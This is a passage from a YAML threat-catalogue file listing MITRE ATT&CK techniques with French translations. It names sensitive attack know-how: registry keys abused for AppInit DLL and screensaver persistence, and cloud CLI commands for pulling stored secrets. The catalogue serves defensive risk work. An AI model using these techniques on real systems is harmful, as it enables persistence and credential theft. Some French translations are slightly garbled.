          \ que gzip.\nhttps://attack.mitre.org/techniques/T1132"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.010
    ref_id: T1546.010
    name: AppInit DLLs
    description: "Adversaries may establish persistence and/or elevate privileges\
      \ by executing malicious content triggered by AppInit DLLs loaded into processes.\
      \ Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code>\
      \ value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\\
      Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\\
      Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded\
      \ by user32.dll into every process that loads user32.dll. In practice this is\
      \ nearly every program, since user32.dll is a very common library. (Citation:\
      \ Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these\
      \ values can be abused to obtain elevated privileges by causing a malicious\
      \ DLL to be loaded and run in the context of separate processes on the computer.\
      \ (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence\
      \ by continuously being triggered by API activity. \n\nThe AppInit DLL functionality\
      \ is disabled in Windows 8 and later versions when secure boot is enabled. (Citation:\
      \ AppInit Secure Boot)\nhttps://attack.mitre.org/techniques/T1546/010"
    translations:
      fr:
        name: DLL AppInit
        description: "Les adversaires peuvent \xE9tablir une persistance et/ou \xE9\
          lever des privil\xE8ges en ex\xE9cutant du contenu malveillant d\xE9clench\xE9\
          \ par des DLL AppInit charg\xE9es dans les processus. Les biblioth\xE8ques\
          \ de liens dynamiques (DLL) sp\xE9cifi\xE9es dans la valeur <code>AppInit_DLLs</code>\
          \ dans les cl\xE9s de registre <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\\
          Windows NT\\CurrentVersion\\Windows</code> ou <code>HKEY_LOCAL_MACHINE\\\
          Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code>\
          \ sont charg\xE9es par user32.dll dans chaque processus qui charge user32.dll.\
          \ En pratique, il s\u2019agit de presque tous les programmes, car user32.dll\
          \ est une biblioth\xE8que tr\xE8s courante. (Citation : Injection de processus\
          \ \xE9lastique juillet 2017)\n\n\xC0 l\u2019instar de l\u2019injection de\
          \ processus, ces valeurs peuvent \xEAtre utilis\xE9es \xE0 mauvais escient\
          \ pour obtenir des privil\xE8ges \xE9lev\xE9s en provoquant le chargement\
          \ et l\u2019ex\xE9cution d\u2019une DLL malveillante dans le contexte de\
          \ processus distincts sur l\u2019ordinateur. (Citation : Registre AppInit)\
          \ Les DLL AppInit malveillantes peuvent \xE9galement fournir une persistance\
          \ en \xE9tant continuellement d\xE9clench\xE9es par l\u2019activit\xE9 de\
          \ l\u2019API. \n\nLa fonctionnalit\xE9 DLL AppInit est d\xE9sactiv\xE9e\
          \ dans Windows 8 et les versions ult\xE9rieures lorsque le d\xE9marrage\
          \ s\xE9curis\xE9 est activ\xE9. (Citation\_: AppInit Secure Boot)\nhttps://attack.mitre.org/techniques/T1546/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1598
    ref_id: T1598
    name: Phishing for Information
    description: "Adversaries may send phishing messages to elicit sensitive information\
      \ that can be used during targeting. Phishing for information is an attempt\
      \ to trick targets into divulging information, frequently credentials or other\
      \ actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566)\
      \ in that the objective is gathering data from the victim rather than executing\
      \ malicious code.\n\nAll forms of phishing are electronically delivered social\
      \ engineering. Phishing can be targeted, known as spearphishing. In spearphishing,\
      \ a specific individual, company, or industry will be targeted by the adversary.\
      \ More generally, adversaries can conduct non-targeted phishing, such as in\
      \ mass credential harvesting campaigns.\n\nAdversaries may also try to obtain\
      \ information directly through the exchange of emails, instant messages, or\
      \ other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation:\
      \ TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation:\
      \ GitHub Phishery) Victims may also receive phishing messages that direct them\
      \ to call a phone number where the adversary attempts to collect confidential\
      \ information.(Citation: Avertium callback phishing)\n\nPhishing for information\
      \ frequently involves social engineering techniques, such as posing as a source\
      \ with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)\
      \ or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or\
      \ sending multiple, seemingly urgent messages. Another way to accomplish this\
      \ is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the\
      \ sender which can be used to fool both the human recipient as well as automated\
      \ security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information\
      \ may also involve evasive techniques, such as removing or manipulating emails\
      \ or metadata/headers from compromised accounts being abused to send messages\
      \ (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation:\
      \ Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)\n\
      https://attack.mitre.org/techniques/T1598"
    translations:
      fr:
        name: "Hame\xE7onnage pour obtenir des informations"
        description: "Les adversaires peuvent envoyer des messages d\u2019hame\xE7\
          onnage pour obtenir des informations sensibles qui peuvent \xEAtre utilis\xE9\
          es lors du ciblage. L\u2019hame\xE7onnage pour obtenir des informations\
          \ est une tentative d\u2019inciter les cibles \xE0 divulguer des informations,\
          \ souvent des informations d\u2019identification ou d\u2019autres informations\
          \ exploitables. L\u2019hame\xE7onnage \xE0 des fins d\u2019information est\
          \ diff\xE9rent de l\u2019hame\xE7onnage(https://attack.mitre.org/techniques/T1566)\
          \ en ce sens que l\u2019objectif est de recueillir des donn\xE9es aupr\xE8\
          s de la victime plut\xF4t que d\u2019ex\xE9cuter un code malveillant.\n\n\
          Toutes les formes d\u2019hame\xE7onnage sont transmises par voie \xE9lectronique.\
          \ Le phishing peut \xEAtre cibl\xE9, ce que l\u2019on appelle le spearphishing.\
          \ Dans le spearphishing, une personne, une entreprise ou un secteur sp\xE9\
          cifique sera cibl\xE9 par l\u2019adversaire. Plus g\xE9n\xE9ralement, les\
          \ adversaires peuvent mener des op\xE9rations de phishing non cibl\xE9es,\
          \ par exemple dans le cadre de campagnes de collecte massive d\u2019identifiants.\n\
          \nLes adversaires peuvent \xE9galement tenter d\u2019obtenir des informations\
          \ directement par l\u2019\xE9change d\u2019e-mails, de messages instantan\xE9\
          s ou d\u2019autres moyens de conversation \xE9lectronique. (Citation : Phishing\
          \ sur les r\xE9seaux sociaux ThreatPost)(Citation : TrendMictro Phishing)(Citation\
          \ : PCMag FakeLogin)(citation : Pi\xE8ce jointe Sophos)(Citation : Wikip\xE9\
          diatrie de GitHub) Les victimes peuvent \xE9galement recevoir des messages\
          \ d\u2019hame\xE7onnage qui les informent d\u2019appeler un num\xE9ro de\
          \ t\xE9l\xE9phone o\xF9 l\u2019adversaire tente de collecter des informations\
          \ confidentielles. (Citation : hame\xE7onnage par rappel Avertium)\n\nL\u2019\
          hame\xE7onnage pour obtenir des informations fait souvent appel \xE0 des\
          \ techniques d\u2019ing\xE9nierie sociale, telles que se faire passer pour\
          \ une source ayant une raison de collecter des informations (ex : [\xC9\
          tablir des comptes](https://attack.mitre.org/techniques/T1585) ou [Compromettre\
          \ des comptes](https://attack.mitre.org/techniques/T1586)) et/ou envoyer\
          \ plusieurs messages apparemment urgents. Une autre fa\xE7on d\u2019y parvenir\
          \ est de falsifier ou d\u2019usurper l\u2019identit\xE9 de l\u2019exp\xE9\
          diteur, ce qui peut \xEAtre utilis\xE9 pour tromper \xE0 la fois le destinataire\
          \ humain et les outils de s\xE9curit\xE9 automatis\xE9s. (Citation : cyberproof-double-bounce)\
          \ \n\nL\u2019hame\xE7onnage d\u2019informations peut \xE9galement impliquer\
          \ des techniques d\u2019\xE9vasion, telles que la suppression ou la manipulation\
          \ d\u2019e-mails ou de m\xE9tadonn\xE9es/en-t\xEAtes de comptes compromis\
          \ utilis\xE9s de mani\xE8re abusive pour envoyer des messages (par exemple,\
          \ [R\xE8gles de masquage des e-mails](https://attack.mitre.org/techniques/T1564/008)).\
          \ (Citation : Microsoft OAuth Spam 2022)(Citation : Palo Alto Unit 42 VBA\
          \ Infostealer 2014)\nhttps://attack.mitre.org/techniques/T1598"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1496
    ref_id: T1496
    name: Resource Hijacking
    description: "Adversaries may leverage the resources of co-opted systems to complete\
      \ resource-intensive tasks, which may impact system and/or hosted service availability.\
      \ \n\nResource hijacking may take a number of different forms. For example,\
      \ adversaries may:\n\n* Leverage compute resources in order to mine cryptocurrency\n\
      * Sell network bandwidth to proxy networks\n* Generate SMS traffic for profit\n\
      * Abuse cloud-based messaging services to send large quantities of spam messages\n\
      \nIn some cases, adversaries may leverage multiple types of Resource Hijacking\
      \ at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)\nhttps://attack.mitre.org/techniques/T1496"
    translations:
      fr:
        name: "D\xE9tournement de ressources"
        description: "Les adversaires peuvent exploiter les ressources des syst\xE8\
          mes coopt\xE9s pour effectuer des t\xE2ches gourmandes en ressources, ce\
          \ qui peut avoir un impact sur la disponibilit\xE9 du syst\xE8me et/ou des\
          \ services h\xE9berg\xE9s. \n\nLe d\xE9tournement de ressources peut prendre\
          \ diff\xE9rentes formes. Par exemple, les adversaires peuvent :\n\n* Exploitez\
          \ les ressources de calcul afin de miner des crypto-monnaies\n* Vendre la\
          \ bande passante du r\xE9seau aux r\xE9seaux proxy\n* G\xE9n\xE9rer du trafic\
          \ SMS \xE0 des fins lucratives\n* Abuser des services de messagerie bas\xE9\
          s sur le cloud pour envoyer de grandes quantit\xE9s de spams\n\nDans certains\
          \ cas, les adversaires peuvent tirer parti de plusieurs types de d\xE9tournement\
          \ de ressources \xE0 la fois. (Citation : Sysdig Cryptojacking Proxyjacking\
          \ 2023)\nhttps://attack.mitre.org/techniques/T1496"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1585
    ref_id: T1585
    name: Establish Accounts
    description: 'Adversaries may create and cultivate accounts with services that
      can be used during targeting. Adversaries can create accounts that can be used
      to build a persona to further operations. Persona development consists of the
      development of public information, presence, history and appropriate affiliations.
      This development could be applied to social media, website, or other publicly
      available information that could be referenced and scrutinized for legitimacy
      over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation:
      BlackHatRobinSage)


      For operations incorporating social engineering, the utilization of an online
      persona may be important. These personas may be fictitious or impersonate real
      people. The persona may exist on a single site or across multiple sites (ex:
      Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing
      a persona may require development of additional documentation to make them seem
      real. This could include filling out profile information, developing social
      networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)


      Establishing accounts can also include the creation of accounts with email providers,
      which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598)
      or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant
      APT1) In addition, establishing accounts may allow adversaries to abuse free
      services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
      for malicious purposes.(Citation: Free Trial PurpleUrchin)

      https://attack.mitre.org/techniques/T1585'
    translations:
      fr:
        name: "\xC9tablir des comptes"
        description: "Les adversaires peuvent cr\xE9er et cultiver des comptes avec\
          \ des services qui peuvent \xEAtre utilis\xE9s pendant le ciblage. Les adversaires\
          \ peuvent cr\xE9er des comptes qui peuvent \xEAtre utilis\xE9s pour cr\xE9\
          er un persona afin de poursuivre les op\xE9rations. Le d\xE9veloppement\
          \ d\u2019un persona consiste en l\u2019\xE9laboration d\u2019informations\
          \ publiques, de pr\xE9sence, d\u2019histoire et d\u2019affiliations appropri\xE9\
          es. Cette \xE9volution pourrait s\u2019appliquer aux m\xE9dias sociaux,\
          \ aux sites Web ou \xE0 d\u2019autres informations accessibles au public\
          \ dont la l\xE9gitimit\xE9 pourrait \xEAtre r\xE9f\xE9renc\xE9e et examin\xE9\
          e au cours d\u2019une op\xE9ration utilisant cette personnalit\xE9 ou cette\
          \ identit\xE9. (R\xE9f\xE9rence : NEWSCASTER2014)(Citation : BlackHatRobinSage)\n\
          \nPour les op\xE9rations int\xE9grant l\u2019ing\xE9nierie sociale, l\u2019\
          utilisation d\u2019un persona en ligne peut \xEAtre importante. Ces personnages\
          \ peuvent \xEAtre fictifs ou se faire passer pour de vraies personnes. Le\
          \ persona peut exister sur un seul site ou sur plusieurs sites (ex : Facebook,\
          \ LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). L\u2019\xE9tablissement\
          \ d\u2019un persona peut n\xE9cessiter l\u2019\xE9laboration d\u2019une\
          \ documentation suppl\xE9mentaire pour qu\u2019il semble r\xE9el. Il peut\
          \ s\u2019agir de remplir des informations de profil, de d\xE9velopper des\
          \ r\xE9seaux sociaux ou d\u2019incorporer des photos. (R\xE9f\xE9rence :\
          \ NEWSCASTER2014)(Citation : BlackHatRobinSage)\n\nL\u2019\xE9tablissement\
          \ de comptes peut \xE9galement inclure la cr\xE9ation de comptes aupr\xE8\
          s de fournisseurs de messagerie, qui peuvent \xEAtre directement exploit\xE9\
          s pour [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
          \ ou [Phishing](https://attack.mitre.org/techniques/T1566). (R\xE9f\xE9\
          rence : Mandiant APT1) En outre, l\u2019\xE9tablissement de comptes peut\
          \ permettre \xE0 des adversaires d\u2019abuser de services gratuits, tels\
          \ que l\u2019inscription \xE0 des p\xE9riodes d\u2019essai pour [Acqu\xE9\
          rir l\u2019infrastructure](https://attack.mitre.org/techniques/T1583) \xE0\
          \ des fins malveillantes. (Citation\_: Essai gratuit PurpleUrchin)\nhttps://attack.mitre.org/techniques/T1585"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1588
    ref_id: T1588
    name: Obtain Capabilities
    description: 'Adversaries may buy and/or steal capabilities that can be used during
      targeting. Rather than developing their own capabilities in-house, adversaries
      may purchase, freely download, or steal them. Activities may include the acquisition
      of malware, software (including licenses), exploits, certificates, and information
      relating to vulnerabilities. Adversaries may obtain capabilities to support
      their operations throughout numerous phases of the adversary lifecycle.


      In addition to downloading free malware, software, and exploits from the internet,
      adversaries may purchase these capabilities from third-party entities. Third-party
      entities can include technology companies that specialize in malware and exploits,
      criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation:
      PegasusCitizenLab)


      In addition to purchasing capabilities, adversaries may steal capabilities from
      third-party entities (including other adversaries). This can include stealing
      software licenses, malware, SSL/TLS and code-signing certificates, or raiding
      closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)

      https://attack.mitre.org/techniques/T1588'
    translations:
      fr:
        name: "Obtenir des capacit\xE9s"
        description: "Les adversaires peuvent acheter et/ou voler des capacit\xE9\
          s qui peuvent \xEAtre utilis\xE9es pendant le ciblage. Plut\xF4t que de\
          \ d\xE9velopper leurs propres capacit\xE9s en interne, les adversaires peuvent\
          \ les acheter, les t\xE9l\xE9charger librement ou les voler. Les activit\xE9\
          s peuvent inclure l\u2019acquisition de logiciels malveillants, de logiciels\
          \ (y compris les licences), d\u2019exploits, de certificats et d\u2019informations\
          \ relatives aux vuln\xE9rabilit\xE9s. Les adversaires peuvent obtenir des\
          \ capacit\xE9s pour soutenir leurs op\xE9rations tout au long de nombreuses\
          \ phases de leur cycle de vie.\n\nEn plus de t\xE9l\xE9charger gratuitement\
          \ des logiciels malveillants, des logiciels et des exploits sur Internet,\
          \ les adversaires peuvent acheter ces fonctionnalit\xE9s aupr\xE8s d\u2019\
          entit\xE9s tierces. Il peut s\u2019agir d\u2019entreprises technologiques\
          \ sp\xE9cialis\xE9es dans les logiciels malveillants et les exploits, de\
          \ march\xE9s criminels ou de particuliers. (Citation : NationsBuying)(Citation\
          \ : PegasusCitizenLab)\n\nEn plus d\u2019acheter des capacit\xE9s, les adversaires\
          \ peuvent voler des capacit\xE9s \xE0 des entit\xE9s tierces (y compris\
          \ d\u2019autres adversaires). Il peut s\u2019agir de voler des licences\
          \ logicielles, des logiciels malveillants, des certificats SSL/TLS et de\
          \ signature de code, ou de piller des bases de donn\xE9es ferm\xE9es contenant\
          \ des vuln\xE9rabilit\xE9s ou des exploits. (Citation : DiginotarCompromise)\n\
          https://attack.mitre.org/techniques/T1588"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.002
    ref_id: T1546.002
    name: Screensaver
    description: 'Adversaries may establish persistence by executing malicious content
      triggered by user inactivity. Screensavers are programs that execute after a
      configurable time of user inactivity and consist of Portable Executable (PE)
      files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows
      screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>,
      and <code>C:\Windows\sysWOW64\</code>  on 64-bit Windows systems, along with
      screensavers included with base Windows installations.


      The following screensaver settings are stored in the Registry (<code>HKCU\Control
      Panel\Desktop\</code>) and could be manipulated to achieve persistence:


      * <code>SCRNSAVE.exe</code> - set to malicious PE path

      * <code>ScreenSaveActive</code> - set to ''1'' to enable the screensaver

      * <code>ScreenSaverIsSecure</code> - set to ''0'' to not require a password
      to unlock

      * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver
      is executed


      Adversaries can use screensaver settings to maintain persistence by setting
      the screensaver to run malware after a certain timeframe of user inactivity.(Citation:
      ESET Gazer Aug 2017)

      https://attack.mitre.org/techniques/T1546/002'
    translations:
      fr:
        name: "\xC9conomiseur d\u2019\xE9cran"
        description: "Les adversaires peuvent \xE9tablir la persistance en ex\xE9\
          cutant du contenu malveillant d\xE9clench\xE9 par l\u2019inactivit\xE9 de\
          \ l\u2019utilisateur. Les \xE9conomiseurs d\u2019\xE9cran sont des programmes\
          \ qui s\u2019ex\xE9cutent apr\xE8s un temps configurable d\u2019inactivit\xE9\
          \ de l\u2019utilisateur et se composent de fichiers PE (Portable Executable)\
          \ avec une extension de fichier .scr. (citation : \xE9conomiseur d\u2019\
          \xE9cran Wikip\xE9dia) L\u2019application d\u2019\xE9conomiseur d\u2019\xE9\
          cran Windows scrnsave.scr se trouve dans <code>C\_:\\Windows\\System32\\\
          </code> et <code>C\_:\\Windows\\sysWOW64\\</code> sur les syst\xE8mes Windows\
          \ 64 bits, ainsi que les \xE9conomiseurs d\u2019\xE9cran inclus avec les\
          \ installations Windows de base.\n\nLes param\xE8tres d\u2019\xE9conomiseur\
          \ d\u2019\xE9cran suivants sont stock\xE9s dans le registre (<code>HKCU\\\
          Panneau de configuration\\Bureau\\</code>) et peuvent \xEAtre manipul\xE9\
          s pour obtenir la persistance :\n\n* <code>SCRNSAVE.exe</code> - d\xE9fini\
          \ sur le chemin PE malveillant\n* <code>ScreenSaveActive</code> - r\xE9\
          gl\xE9 sur '1' pour activer l\u2019\xE9conomiseur d\u2019\xE9cran\n* <code>ScreenSaverIsSecure</code>\
          \ - r\xE9gl\xE9 sur '0' pour ne pas n\xE9cessiter de mot de passe pour d\xE9\
          verrouiller\n* <code>ScreenSaveTimeout</code> - d\xE9finit le d\xE9lai d\u2019\
          inactivit\xE9 de l\u2019utilisateur avant l\u2019ex\xE9cution de l\u2019\
          \xE9conomiseur d\u2019\xE9cran\n\nLes adversaires peuvent utiliser les param\xE8\
          tres de l\u2019\xE9conomiseur d\u2019\xE9cran pour maintenir la persistance\
          \ en configurant l\u2019\xE9conomiseur d\u2019\xE9cran pour qu\u2019il ex\xE9\
          cute des logiciels malveillants apr\xE8s un certain temps d\u2019inactivit\xE9\
          \ de l\u2019utilisateur. (Citation : ESET Gazer ao\xFBt 2017)\nhttps://attack.mitre.org/techniques/T1546/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556.009
    ref_id: T1556.009
    name: Conditional Access Policies
    description: "Adversaries may disable or modify conditional access policies to\
      \ enable persistent access to compromised accounts. Conditional access policies\
      \ are additional verifications used by identity providers and identity and access\
      \ management systems to determine whether a user should be granted access to\
      \ a resource.\n\nFor example, in Entra ID, Okta, and JumpCloud, users can be\
      \ denied access to applications based on their IP address, device enrollment\
      \ status, and use of multi-factor authentication.(Citation: Microsoft Conditional\
      \ Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional\
      \ Access Policies) In some cases, identity providers may also support the use\
      \ of risk-based metrics to deny sign-ins based on a variety of indicators. In\
      \ AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary\
      \ constraints such as the source IP, the date the request was made, and the\
      \ nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation:\
      \ GCP IAM Conditions) These measures help to prevent compromised credentials\
      \ from resulting in unauthorized access to data or resources, as well as limit\
      \ user permissions to only those required. \n\nBy modifying conditional access\
      \ policies, such as adding additional trusted IP ranges, removing [Multi-Factor\
      \ Authentication](https://attack.mitre.org/techniques/T1556/006) requirements,\
      \ or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535),\
      \ adversaries may be able to ensure persistent access to accounts and circumvent\
      \ defensive measures.\nhttps://attack.mitre.org/techniques/T1556/009"
    translations:
      fr:
        name: "Politiques d\u2019acc\xE8s conditionnel"
        description: "Les adversaires peuvent d\xE9sactiver ou modifier les politiques\
          \ d\u2019acc\xE8s conditionnel pour permettre un acc\xE8s persistant aux\
          \ comptes compromis. Les strat\xE9gies d\u2019acc\xE8s conditionnel sont\
          \ des v\xE9rifications suppl\xE9mentaires utilis\xE9es par les fournisseurs\
          \ d\u2019identit\xE9 et les syst\xE8mes de gestion des identit\xE9s et des\
          \ acc\xE8s pour d\xE9terminer si un utilisateur doit \xEAtre autoris\xE9\
          \ \xE0 acc\xE9der \xE0 une ressource.\n\nPar exemple, dans Entra ID, Okta\
          \ et JumpCloud, les utilisateurs peuvent se voir refuser l\u2019acc\xE8\
          s aux applications en fonction de leur adresse IP, de l\u2019\xE9tat d\u2019\
          inscription de leur appareil et de l\u2019utilisation de l\u2019authentification\
          \ multifacteur. (Citation : Acc\xE8s conditionnel Microsoft)(Citation :\
          \ Politiques d\u2019acc\xE8s conditionnel de JumpCloud)(Citation : Politiques\
          \ d\u2019acc\xE8s conditionnel d\u2019Okta) Dans certains cas, les fournisseurs\
          \ d\u2019identit\xE9 peuvent \xE9galement prendre en charge l\u2019utilisation\
          \ de mesures bas\xE9es sur le risque pour refuser les connexions en fonction\
          \ de divers indicateurs. Dans AWS et GCP, les politiques IAM peuvent contenir\
          \ des attributs \xAB condition \xBB qui v\xE9rifient des contraintes arbitraires\
          \ telles que l\u2019adresse IP source, la date \xE0 laquelle la demande\
          \ a \xE9t\xE9 effectu\xE9e et la nature des ressources ou des r\xE9gions\
          \ demand\xE9es. (Citation : Conditions AWS IAM)(Citation : Conditions GCP\
          \ IAM) Ces mesures permettent d\u2019emp\xEAcher les informations d\u2019\
          identification compromises d\u2019entra\xEEner un acc\xE8s non autoris\xE9\
          \ aux donn\xE9es ou aux ressources, et de limiter les autorisations des\
          \ utilisateurs \xE0 celles requises. \n\nEn modifiant les politiques d\u2019\
          acc\xE8s conditionnel, par exemple en ajoutant des plages d\u2019adresses\
          \ IP de confiance suppl\xE9mentaires, en supprimant les exigences d\u2019\
          authentification multifacteur(https://attack.mitre.org/techniques/T1556/006)\
          \ ou en autorisant des [r\xE9gions cloud inutilis\xE9es/non prises en charge](https://attack.mitre.org/techniques/T1535),\
          \ les adversaires peuvent \xEAtre en mesure de garantir un acc\xE8s persistant\
          \ aux comptes et de contourner les mesures d\xE9fensives.\nhttps://attack.mitre.org/techniques/T1556/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1578.002
    ref_id: T1578.002
    name: Create Cloud Instance
    description: 'An adversary may create a new instance or virtual machine (VM) within
      the compute service of a cloud account to evade defenses. Creating a new instance
      may allow an adversary to bypass firewall rules and permissions that exist on
      instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001)
      of one or more volumes in an account, create a new instance, mount the snapshots,
      and then apply a less restrictive security policy to collect [Data from Local
      System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation:
      Mandiant M-Trends 2020)


      Creating a new instance may also allow an adversary to carry out malicious activity
      within an environment without affecting the execution of current running instances.

      https://attack.mitre.org/techniques/T1578/002'
    translations:
      fr:
        name: "Cr\xE9er une instance Cloud"
        description: "Un adversaire peut cr\xE9er une instance ou une machine virtuelle\
          \ (VM) dans le service de calcul d\u2019un compte cloud pour \xE9chapper\
          \ aux d\xE9fenses. La cr\xE9ation d\u2019une nouvelle instance peut permettre\
          \ \xE0 un adversaire de contourner les r\xE8gles de pare-feu et les autorisations\
          \ qui existent sur les instances r\xE9sidant actuellement dans un compte.\
          \ Un adversaire peut [Cr\xE9er un instantan\xE9](https://attack.mitre.org/techniques/T1578/001)\
          \ d\u2019un ou plusieurs volumes d\u2019un compte, cr\xE9er une instance,\
          \ monter les instantan\xE9s, puis appliquer une politique de s\xE9curit\xE9\
          \ moins restrictive pour collecter des [Donn\xE9es du syst\xE8me local](https://attack.mitre.org/techniques/T1005)\
          \ ou pour [Transfert de donn\xE9es \xE0 distance](https://attack.mitre.org/techniques/T1074/002).\
          \ (Citation : Mandiant M-Trends 2020)\n\nLa cr\xE9ation d\u2019une nouvelle\
          \ instance peut \xE9galement permettre \xE0 un adversaire de mener des activit\xE9\
          s malveillantes au sein d\u2019un environnement sans affecter l\u2019ex\xE9\
          cution des instances en cours d\u2019ex\xE9cution.\nhttps://attack.mitre.org/techniques/T1578/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1555.006
    ref_id: T1555.006
    name: Cloud Secrets Management Stores
    description: "Adversaries may acquire credentials from cloud-native secret management\
      \ solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,\
      \ and Terraform Vault.  \n\nSecrets managers support the secure centralized\
      \ management of passwords, API keys, and other credential material. Where secrets\
      \ managers are in use, cloud services can dynamically acquire credentials via\
      \ API requests rather than accessing secrets insecurely stored in plain text\
      \ files or environment variables.  \n\nIf an adversary is able to gain sufficient\
      \ privileges in a cloud environment \u2013 for example, by obtaining the credentials\
      \ of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)\
      \ or compromising a service that has permission to retrieve secrets \u2013 they\
      \ may be able to request secrets from the secrets manager. This can be accomplished\
      \ via commands such as `get-secret-value` in AWS, `gcloud secrets describe`\
      \ in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered\
      \ Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation:\
      \ Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)\n\n**Note:** this\
      \ technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)\
      \ in that the credentials are being directly requested from the cloud secrets\
      \ manager, rather than through the medium of the instance metadata API.\nhttps://attack.mitre.org/techniques/T1555/006"
    translations:
      fr:
        name: Magasins de gestion des secrets dans le cloud
        description: "Les adversaires peuvent acqu\xE9rir des informations d\u2019\
          identification \xE0 partir de solutions de gestion de secrets natives du\
          \ cloud, telles qu\u2019AWS Secrets Manager, GCP Secret Manager, Azure Key\
          \ Vault et Terraform Vault.  \n\nLes gestionnaires de secrets prennent en\
          \ charge la gestion centralis\xE9e s\xE9curis\xE9e des mots de passe, des\
          \ cl\xE9s API et d\u2019autres \xE9l\xE9ments d\u2019identification. Lorsque\
          \ des gestionnaires de secrets sont utilis\xE9s, les services cloud peuvent\
          \ acqu\xE9rir dynamiquement des informations d\u2019identification via des\
          \ requ\xEAtes API plut\xF4t que d\u2019acc\xE9der \xE0 des secrets stock\xE9\
          s de mani\xE8re non s\xE9curis\xE9e dans des fichiers texte brut ou des\
          \ variables d\u2019environnement.  \n\nSi un adversaire est en mesure d\u2019\
          obtenir des privil\xE8ges suffisants dans un environnement cloud, par exemple\
          \ en obtenant les informations d\u2019identification de [comptes cloud]\
          \ (https://attack.mitre.org/techniques/T1078/004) \xE0 privil\xE8ges \xE9\
          lev\xE9s ou en compromettant un service autoris\xE9 \xE0 r\xE9cup\xE9rer\
          \ des secrets, il peut \xEAtre en mesure de demander des secrets au gestionnaire\
          \ de secrets. Cela peut \xEAtre accompli \xE0 l\u2019aide de commandes telles\
          \ que \xAB get-secret-value \xBB dans AWS, \xAB gcloud secrets describe\
          \ \xBB dans GCP et \xAB az key vault secret show \xBB dans Azure. (Citation\
          \ : Permiso Scatter Spider 2023)(Citation : Sysdig ScarletEel 2.0 2023)(R\xE9\
          f\xE9rence : AWS Secrets Manager)(Citation : Secrets de Google Cloud)(R\xE9\
          f\xE9rence : Microsoft Azure Key Vault)\n\nRemarque :** cette technique\
          \ est distincte de l'[API de m\xE9tadonn\xE9es d\u2019instance cloud](https://attack.mitre.org/techniques/T1552/005)\
          \ en ce sens que les informations d\u2019identification sont directement\
          \ demand\xE9es au gestionnaire de secrets cloud, plut\xF4t que par le biais\
          \ de l\u2019API de m\xE9tadonn\xE9es d\u2019instance.\nhttps://attack.mitre.org/techniques/T1555/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1213.003
    ref_id: T1213.003
    name: Code Repositories
    description: 'Adversaries may leverage code repositories to collect valuable information.
      Code repositories are tools/services that store source code and automate software
      builds. They may be hosted internally or privately on third party sites such
      as Github, GitLab, SourceForge, and BitBucket. Users typically interact with
      code repositories through a web application or command-line utilities such as
      git.


      Once adversaries gain access to a victim network or a private code repository,
      they may collect sensitive information such as proprietary source code or [Unsecured
      Credentials](https://attack.mitre.org/techniques/T1552) contained within software''s
      source code.  Having access to software''s source code may allow adversaries
      to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while
      credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation:
      Wired Uber Breach)(Citation: Krebs Adobe)


      **Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003),
      which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043)
      via public code repositories.
